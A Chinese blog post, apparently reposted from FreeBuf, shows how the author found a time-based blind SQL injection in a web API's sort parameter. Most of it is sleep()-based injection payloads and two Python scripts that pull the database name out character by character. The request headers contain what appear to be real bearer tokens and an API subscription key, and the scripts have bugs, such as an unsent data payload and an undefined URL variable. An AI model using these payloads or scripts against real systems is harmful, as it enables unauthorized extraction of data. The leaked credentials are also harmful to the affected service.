时间型盲注的PY交易 – 作者:Loren麟

一、确定问题点

现在的web系统中大量运用了json的形式进行数据传输并不好发现sql注入,并且可以针对返回的数据进行判断,肯定不会存在报错或布尔型的问题。

所以重点关注了排序这个点上了, 我们可以看到存在问题的传输格式和其他的参数是不一样的,先是限定了列名,然后选择升降序,这样就可以推测他是将这两项进行了拼接。

图片[1]-时间型盲注的PY交易 – 作者:Loren麟-安全小百科

二、测试命令语句

经过实验,发现报错内容不同,可说明与其他参数并不是同一种编写方式。

但报错内容仍然只有一种,帮可以排除布尔,报错等类型注入形式,可以探测的注入类型就仅剩下一种了:时间型盲注,直接在目标后加入测试语句。

,(select*from(select(sleep(10)))a)

返回成功,判断确实存在注入漏洞

图片[2]-时间型盲注的PY交易 – 作者:Loren麟-安全小百科

三、工具思路

3.1 Post数据包利用

利用python的数据包发送来批量测试目标内容

(select*from(select(if(substr(database(),%d,1)=\’%s\’,sleep(20),1)))a)

(select*from(select(if(length(database())>%s,sleep(10),0)))a)

# coding:utf-8
import requests
import datetime
import time


# 数据包
url = 'https://xxxxxxxxxxxxxxxxxxx/api/m2/ap/api/voucher/v1/query'
headers = {
    "Host": "",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
    "Accept": "application/octet-stream, application/json, text/plain, */*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json;charset=utf-8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiR2VuZ2ppYS5nYW9AZGV0ZWNvbi5jb20iLCI2MjdjMjEzNWFkNTk0YjMyOTNmNGRlZDA3MzMzNTI2NCJdLCJleHAiOjE1OTY0NDY3ODB9.KMcM2mlorp6Y8bQXZ-1HlQpPOiiqTFAD3qNSbVGEfBs",
    "Auth-Type": "ssofed",
    "Ocp-Apim-Subscription-Key": "1565cb134db542ff9c8da8ebc1838e9c",
    "Connection": "close",
    "Referer": "https://xxxxxxxxxxxxxxxxxxxxx/cmt/"
}
# 获取数据库名长度
def database_len():
    for i in range(1, 20):
        data = '{"pageSize":20,"pageFlag":true,"orderByList":[{"column":"vType","direction":"asc,(select*from(select(if(length(database())>%s,sleep(10),0)))a)"}],"pageNum":1}'% i
        time1 = datetime.datetime.now()
        r = requests.get(url=url, headers=headers)
        print url
        time2 = datetime.datetime.now()
        sec = (time2 - time1).seconds
        if sec < 1:
            break
    print('database_len:', i)
len=database_len

database_len()


#获取数据库名
def database_name():
    name = ''
    for j in range(1, 15):
        for i in 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.':
            data = '{"pageSize":20,"pageFlag":true,"orderByList":[{"column":"vType","direction":"asc,(select*from(select(if(substr(database(),%d,1)=%s,sleep(10),1)))a)"}],"pageNum":1}' % (j, i)
            # print(url+payload+'%23')
            time1 = datetime.datetime.now()
            r = requests.get(url=url1, headers=headers)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >= 1:
                name += i
                print(name)
                break
    print('database_name:', name)


database_name()

3.2 Get数据包利用

利用python的数据包发送来批量测试目标内容 在这里我要说明一下,我的是针对目标做了定向的简单修改的,比如在我的测试过程中GET包内如果放入字母进行对比的话就会报错,无法实现注入了所以我利用了ascii码对比的形式进行了测试。

(select*from(select(if(length(database())<{0},sleep(10),0)))a)

(select*from(select(if(ascii(substr(database(),{1},1))={0},sleep(10),1)))a)

# coding:utf-8
import requests
import datetime
import time

headers = {
    "Host": "xxxxxxxxxxxxxxx",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
    "Accept": "application/json, text/plain, */*",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate",
    "Content-Type": "application/json;charset=utf-8",
    "Authorization": "Bearer eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOlsiR2VuZ2ppYS5nYW9AZGV0ZWNvbi5jb20iLCI1OGJmZThiNDUzMTk0Zjg0YjI4NjA3MzY0YjRlYzk3OCJdLCJleHAiOjE1OTY1MDg0NDZ9.Rgod2OR-V9JburoqtMe3ympVeRaD0LZsIevObzcV7Uw"
}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
for l in range(1,100):
    #print('length not is ' + str(l))
    Url = 'https://xxxxxxxxxxxxxxxxxxxxxxx/cmt-api/cmt/campaigns?pageNum=1&pageSize=10&sort=-created_time,(select*from(select(if(length(database())<{0},sleep(10),0)))a)'
    UrlFormat = Url.format(l)      #format()函数使用
    print UrlFormat
    start_time0 = time.time()       #发送请求前的时间赋值
    requests.get(UrlFormat,headers=headers)
    if  time.time() - start_time0 > 9:  #判断正确的数据库长度
            print('database length is ' + str(l))
            global length 
            length = l  #把数据库长度赋值给全局变量
            break
    else:
        pass


database = ''
for j in range(1,length):
    for i in range(49,125):
        Url = 'https://xxxxxxxxxxxxxxxxx/cmt-api/cmt/campaigns?pageNum=1&pageSize=10&sort=-created_time,(select*from(select(if(ascii(substr(database(),{1},1))={0},sleep(10),1)))a)'
        UrlFormat = Url.format(i,j)      #format()函数使用
        #print UrlFormat
        start_time0 = time.time()       #发送请求前的时间赋值
        requests.get(UrlFormat,headers=headers)
        a = time.time() - start_time0
        #print a
        if  a > 8:  #判断正确的数据库长度
            print(i)
            print chr(i)
            database += chr(i)
            print database
            break
        else:
            pass

四、以后的想法

对于代码的未来,有如下的想法

1.加入数据包直接调用的功能

2.针对0值永真的修改

3.进行线程上的优化

4.在GET方法的代码中关于ascii码的内容进行优化

5.进行整体代码的逻辑重构(这个是吹NB)

来源:freebuf.com 2020-08-13 11:58:03 by: Loren麟

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论